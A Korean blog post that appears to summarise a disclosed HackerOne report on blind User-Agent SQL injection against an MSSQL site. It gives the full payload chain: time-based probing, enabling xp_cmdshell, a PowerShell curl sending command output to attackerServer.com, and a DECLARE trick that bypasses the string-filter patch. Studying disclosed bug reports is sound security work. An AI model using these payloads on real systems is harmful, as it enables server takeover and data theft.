보고서 링크(Here)
SQL Injection to RCE
HackerOne
Blind User-Agent SQL Injection to Blind Remote OS Command Execsution at `~~.com`
1.1
사용자 입력값을 받는지 확인
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--
1.2
Time-based SQL Injection
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--
응답이 지연되는 것을 확인 후 RCE 시도
2.1
MSSQL에서 xp_cmdshell의 기본값은 비활성화(0) 상태로, 이를 활성화하기위해 두 단계를 거침
1) show advenced options을 1로 설정하여, xp_cmdshell과 같은 고급옵션을 표시하는 옵션을 활성화. 그 후 RECONFIGURE 명령을 사용하여 바뀐 서버구성 적용
2) xp_cmdshell을 1로 설정하여 활성화 후 RECONFIGURE 통해 서버구성 적용
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
2.2
이후 공격자의 서버로 ping 요청을 보내는 명령어를 시도함. 서버로부터 응답이 오는지 확인 (테스트)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping http://attackerServer.com';--
또, 이러한 방식으로 임의 명령이 실행하다는 것을 증명
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'powershell -c "$x = whoami; curl http://attackerServer.com/get?output=$x"';--
제보 이후 패치했으나, 'EXEC xp_cmdshell' 문자열이 존재할 때 필터링하는 식의 패치가 됨
EXEC와 xp_cmdshell을 분리하면 우회 가능
3.1
DECLARE 명령을 사용해 $x변수에 xp_cmdshell 선언. $x 변수를 사용하여 `EXEC $x` 실행
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping http://attackerServer.com';--
정상적으로 명령이 실행된다.
'보안 > 버그바운티' 카테고리의 다른 글
버그바운티 보고서 - SSRF Dropbox (0) | 2023.09.21 |
---|---|
버그바운티 보고서 - Path Traversal to RCE (0) | 2023.09.21 |
버그헌팅 TIP (0) | 2023.09.19 |